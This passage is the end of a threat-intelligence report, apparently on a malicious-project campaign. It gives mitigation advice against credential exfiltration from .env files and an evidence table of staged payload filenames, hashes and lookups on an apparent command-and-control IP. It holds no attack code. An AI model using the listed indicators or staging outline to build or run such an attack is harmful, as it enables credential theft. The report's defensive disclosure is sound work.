process.env, no mounted.envfiles, and filtered outbound egress. A sandboxed environment eliminates the value of this attack entirely. - Ensure
.env.localfiles do not contain credentials that would cause material harm if exfiltrated. Prefer runtime secrets injection over file-based credential storage.
Appendix: Evidence Artifacts
| Artifact ID | Filename | SHA256 |
|---|---|---|
| EX-001 | .vscode/tasks.json | a476338f... |
| EX-002 | package.json | 2f65e39d... |
| EX-003 | server/routes/index.js | a9d8ea7c... |
| EX-004 | server/routes/api/auth.js | 28e73ce8... |
| EX-005 | server/controllers/auth.js | cc9e4438... |
| EX-006 | server/server.js | a9db9559... |
| EX-007 | server/config/loadEnv.js | c08356a5... |
| EX-008 | .env | dfb133f6... |
| EX-009 | .env.local | 37eb8e11... |
| EX-010 | stage1b-auth-api-body-20260416T105439Z.js | ee9f19e5... |
| EX-011 | stage2-bootstraplinux-body-20260416T105325Z.sh | 26d88760... |
| EX-012 | stage3a-env-setup-body-20260416T105931Z.js | 589d2ab8... |
| EX-013 | stage3b-implant-package-body-20260416T110009Z.json | 6effad9f... |
| EX-014 | c2-checkstatus-body-20260416T110044Z.json | f862d253... |
| EX-015 | whois_88.99.241.111.txt | b3dea28e... |
| EX-016 | dns_reverse_88.99.241.111.txt | 7e21ca29... |
| EX-017 | dns_vscode-settings-tasks-j227.txt | 22677137... |
| EX-018 | dns_ip-checking-notification-j2.txt | c1b38711... |
| EX-019 | nmap_88.99.241.111.txt | 352a6bd5... |
TLP:CLEAR - This report may be freely shared. Attribution assessments are tentative and based on TTP similarity and cross-campaign artifact continuity only. All IOCs are provided for defensive purposes.
Report ID: TP-2026-010 | Published: 2026-04-16 | Author: ThreatProphet